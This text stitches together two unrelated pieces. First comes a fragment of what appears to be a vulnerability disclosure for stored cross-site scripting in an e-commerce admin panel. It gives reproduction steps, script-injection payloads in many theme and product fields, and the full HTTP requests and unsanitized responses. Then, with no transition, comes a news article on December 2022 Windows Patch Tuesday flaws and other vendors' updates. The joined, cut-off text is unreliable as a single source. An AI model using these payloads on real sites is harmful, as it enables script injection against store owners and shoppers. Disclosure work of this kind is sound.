content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover"><title>Title"><script>alert(1)</script></title><meta name="keywords" content="test1205">[...]Stored XSS #2:To reproduce do the following:1. Login as normal user account2. Browse "Products" -> "Create Product"3. Select "Subtitle" and enter payload "><script>alert(1)</script>// HTTP POST request showing XSS payloadPOST /admin/api/admin/v2_products HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]{"product":{"id":"","title":"Title","brief":"Subtitle\"><script>alert(1)</script>","description":"<p>Description</p>"[...]// HTTP response showing unsanitized XSS payloadHTTP/1.1 200 OKContent-Type: application/json; charset=utf-8[...]{"product":{"brief":"Subtitle\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e","category_id":"","collections[...]Stored XSS #3:To reproduce do the following:1. Login as normal user account2. Browse "Online Store" -> "Themes" -> "Customize" -> "Announcement"3. Select "Text" section and enter payload "><script>alert(1)</script>4. Select "Mobile Text" section and enter payload "><script>alert(1)</script>// HTTP POST request showing XSS payloadPATCH /admin/api/theme-edit/442430617951435468/temp-template-datas/061cf44d-f20e-42f4-9cde-54a74f240fef/sections/announcement HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0// HTTP response showing unsanitized XSS payload{"section":{"type":"announcement","settings":{"enable_view_all":true},"blocks":[{"type":"announcement","settings":{"text":"Announcement\"><script>alert('Announcement')</script>","mobile_text":"Mobile Text\"><script>alert('Mobile Text')</script>\n","countdown_time":1,"link":null,"link_text":"Shop now"}},{"type":"announcement","settings":{"text":"Welcome to our store","mobile_text":"Welcome to our store","countdown_time":1,"link":null,"link_text":"Shop [...]Stored XSS #4:1. Login as normal user account2. Browse "Online Store" -> "Themes" -> "Customize" -> "Product" 3. Select "Subheading" and enter payload "><script>alert(1)</script>3. Select "Heading" and enter payload "><script>alert(1)</script>4. Select "Text" and enter payload "><script>alert(1)</script>5. Select "Button Text" and enter payload "><script>alert(1)</script>6. Select "Label" and enter payload "><script>alert(1)</script>// HTTP POST request showing XSS payloadPATCH /admin/api/theme-edit/442439399796402892/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1664528667835 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]{"section":{"name":"feature_product","cname":{"en-US":"Feature Product","zh-CN":""},"category":{"en-US":"Promotion","zh-CN":""},"ccategory":{"en-US":"Promotion","zh-CN":""},"display":true,"blocks":[{"type":"Product","settings":{"auto_display":true,"subheading":"Products\"><script>alert('Product')</script>","heading":"Product_Subheading\"><script>alert('Product_Subheading')</script>","text":"Product_Text\"><script>alert('Product_Text')</script>","btn_text":"Button_Text\"><script>alert('Button_Text')</script>","label_text":"Label_Text\"><script>alert('Label_Text')</script>",[...]// HTTP response showing unsanitized XSS payloadHTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8[...]{"section":{"name":"feature_product","cname":{"en-US":"Feature Product","zh-CN":""},"category":{"en-US":"Promotion","zh-CN":""},"ccategory":{"en-US":"Promotion","zh-CN":""},"display":true,"blocks":[{"type":"Product","settings":{"auto_display":true,"subheading":"Products\"><script>alert('Product')</script>","heading":"Product_Subheading\"><script>alert('Product_Subheading')</script>","text":"Product_Text\"><script>alert('Product_Text')</script>","btn_text":"Button_Text\"><script>alert('Button_Text')</script>","label_text":"Label_Text\"><script>alert('Label_Text')</script>"[...]Stored XSS #5:1. Login as normal user account2. Browse "Online Store" -> "Themes" -> "Customize" -> "Product Carousel" 3. Select "Heading" and enter payload "><script>alert(1)</script>4. Select "Description" and enter payload "><script>alert(1)</script>// HTTP POST request showing XSS payloadPATCH /admin/api/theme-edit/442439399796402892/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1664529790755 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]{"section":{"name":"product_carousel","cname":{"en-US":"Products carousel","zh-CN":""},"category":{"en-US":"Product","zh-CN":""},"category":{"en-US":"Product","zh-CN":""},"icon":"oss/operation/cbff8870e3db05817270bcb0e8c52870.svg","display":true,"settings":{"heading":" Products Carousel\"><script>alert('Product Carousel')</script>","auto_display":true,"collection":null,"desc":"Product Description\"><script>alert('Product Description')</script>[...]// HTTP response showing unsanitized XSS payloadHTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8[...]{"heading":" Products Carousel\"><script>alert('Product Carousel')</script>","auto_display":true,"collection":null,"desc":"Product Description\"><script>alert('Product Description')</script>"[...]\">Product Description\"><script>alert('Product Description')</script>[...]Stored XSS #6:1. Login as normal user account2. Browse "Online Store" -> "Themes" -> "Customize" -> "Text with Icons" -> "Free Shipping"3. Select "Heading" and enter payload "><script>alert(1)</script>4. Select "Text" and enter payload "><script>alert(1)</script>5. Browse "Online Store" -> "Themes" -> "Customize" -> -> "Text with Icons" -> "Free Shipping" Worldwide Shipping"6. Select "Heading" and enter payload "><script>alert(1)</script>7. Select "Text" and enter payload "><script>alert(1)</script>8. Browse "Online Store" -> "Themes" -> "Customize" -> -> "Text with Icons" -> "Member Discount"9. Select "Heading" and enter payload "><script>alert(1)</script>10. Select "Text" and enter payload "><script>alert(1)</script>11. Browse "Online Store" -> "Themes" -> "Customize" -> -> "Text with Icons" -> "Icon"12. Select "Heading" and enter payload "><script>alert(1)</script>13. Select "Text" and enter payload "><script>alert(1)</script>// HTTP POST request showing XSS payloadPATCH /admin/api/theme-edit/442443380824229324/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1664529794334 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]{"section":{"name":"icon_text","cname":{"zh-CN":"","en-US":"Text with icons"},"category":{"en-US":"Image with text","zh-CN":""},"ccategory":{"en-US":"Image with text","zh-CN":""},"icon":"oss/operation/b3117ddd140480a503655c157b1af934.svg","display":true,"blocks":[{"type":"icon","settings":{"icon":"free_shipping","heading":"Free shipping\"><script>alert('Free_Shipping')</script>","text":"Free worldwide shipping\"><script>alert('Free world wide shipping')</script>","link":""}},{"type":"icon","settings":{"icon":"customer_service","heading":"Free worldwide shipping\"><script>alert('Free worldwide shipping')</script>","text":"Text\"><script>alert('Text')</script>","link":""}},{"type":"icon","settings":{"icon":"secure_payment","heading":" Member Discount\"><script>alert('Member Discount')</script>","text":"Our payment in formation is processed securely\"><script>alert('Our payment in formation is processed securely')</script>","link":""}},{"type":"icon","settings":{"icon":"contact_us","heading":" Contact us\"><script>alert('Contact us')</script>","text":"Short content about your store\"><script>alert('Short content about your store')</script>"[...]// HTTP response showing unsanitized XSS payload HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8[...]{"section":{"name":"icon_text","cname":{"zh-CN":"","en-US":"Text with icons"},"category":{"en-US":"Image with text","zh-CN":""},"ccategory":{"en-US":"Image with text","zh-CN":""},"icon":"oss/operation/b3117ddd140480a503655c157b1af934.svg","display":true,"blocks":[{"type":"icon","settings":{"icon":"free_shipping","heading":"Free shipping\"><script>alert('Free_Shipping')</script>","text":"Free worldwide shipping\"><script>alert('Free world wide shipping')</script>","link":""}},{"type":"icon","settings":{"icon":"customer_service","heading":"Free worldwide shipping\"><script>alert('Free worldwide shipping')</script>","text":"Text\"><script>alert('Text')</script>","link":""}},{"type":"icon","settings":{"icon":"secure_payment","heading":" Member Discount\"><script>alert('Member Discount')</script>","text":"Our payment in formation is processed securely\"><script>alert('Our payment in formation is processed securely')</script>","link":""}},{"type":"icon","settings":{"icon":"contact_us","heading":" Contact us\"><script>alert('Contact us')</script>"[...]"><script>alert('Member Discount')</script>","text":"Our payment in formation is processed securely\"><script>alert('Our payment in formation is processed securely')</script>","link":""}},{"type":"icon","settings":{"icon":"contact_us","heading":" Contact us\"><script>alert('Contact us')</script>","text":"Short content about your store\"><script>alert('Short content about your store')</script>[...]Stored XSS #7:1. Login as normal user account2. Browse "Online Store" -> "Themes" -> "Customize" -> "Review Flow"3. Select "Title" and enter payload "><script>alert(1)</script>// HTTP POST request showing XSS payloadPATCH /admin/api/theme-edit/442443380824229324/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1670588315547 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]{"section":{"name":{"en-US":"Review Flow","zh-CN":""},"type":"shoplazza://apps/internal-product-reviews-masonry/blocks/review/48597947633379239","settings":{"star_least":"5","with_photo":true,"show_product":true,"title":"Customer Review\"><script>alert('Customer Reviews')</script>[...]HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8[...]{"section":{"name":{"en-US":"Review Flow","zh-CN":""},"type":"shoplazza://apps/internal-product-reviews-masonry/blocks/review/48597947633379239","settings":{"star_least":"5","with_photo":true,"show_product":true,"title":"Customer Review\"><script>alert('Customer Reviews')</script>"[...]

In numbers, the patch Tuesday of December 2022 is a relatively light one for Windows users. Microsoft patched 48 vulnerabilities with only six considered critical. But numbers are only half the story. Two of the updates are zero-days with one of them known to be actively exploited.

**Windows SmartScreen**

Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).

The vulnerability that is exploited in the wild is listed under CVE-2022-44698 and described as a Windows SmartScreen Security Feature bypass vulnerability. To understand how this works, you need to understand that files can be cryptographically signed in order to confirm who created them, and to confirm that they have not been changed since they were signed. Mark-of-the-Web (MOTW) is the name for the Windows technology that warns users of potential harm when downloading and opening a file from the internet or an email attachment. In other words, it's a safety precaution in the form of a reminder that the user is about to use a risky file that might harm their computer. The problem is that a malformed signature bypasses all the warnings you should get, so you are bound to assume everything is dandy while it’s not.

**DirectX Graphics Kernel**

The other zero-day is labeled as “Exploitation Less Likely” but information about the vulnerability has been made public. The vulnerability is listed as CVE-2022-44710 and described as a DirectX Graphics Kernel Elevation of Privilege (EoP) vulnerability. To successfully exploit it the attacker would need to win a race condition. But if they succeed they could gain SYSTEM privileges.

A race condition, or race hazard, is the behavior of a system where the output depends on the sequence or timing of other uncontrollable events. It becomes a bug when events do not happen in the order the programmer intended. Sometimes these bugs can be exploited when the outcome is predictable and works to the attackers’ advantage.

**Windows Secure Socket Tunneling Protocol**

Two critical vulnerabilities we want to highlight were found in the Windows Secure Socket Tunneling Protocol (SSTP). CVE-2022-44670 and CVE-2022-44676 are remote code execution (RCE) vulnerabilities. Successful exploitation of these vulnerabilities requires an attacker to win a race condition but when successful could enable an attacker to remotely execute code on a remote access server (RAS).

A RAS is a type of server that provides a suite of services to remotely connected users over a network or the Internet. It operates as a remote gateway or central server that connects remote users with an organization's internal local area network (LAN).

**PowerShell**

One more vulnerability we want to highlight because exploitation is more likely is listed as CVE-2022-41076 and described as a PowerShell RCE vulnerability. Successful exploitation of this vulnerability requires an attacker to take additional actions prior to exploitation to prepare the target environment and to be authenticated. If these conditions are met, the attacker could escape the PowerShell Remoting Session Configuration and run unapproved commands on the target system. This seems a very likely candidate to be chained or exploited in combination with leaked or stolen login credentials.

**Other vendors**

As per usual, other vendors also released important updates:

Adobe released updates for Adobe Campaign Classic, Adobe Experience Manager, and Adobe Illustrator.

Apple released several updates. More on that later.

Cisco released updates for Cisco IP Phone 7800 and 8800 phones.

Citrix released updates for Citrix ADC and Citrix Gateway.

Fortinet released an update to patch for an actively exploited FortiOS SSL-VPN vulnerability.

Google released an Android security bulletin we discussed last week.

Mozilla released updates for for Thunderbird 102.6, Firefox ESR 102.6, and Firefox 108.

SAP has released its round of December 2022 updates.

VMWare has released security updates for multiple products. Users should review the VMware Security Advisories VMSA-2022-0031, VMSA-2022-0033, and apply the necessary updates.

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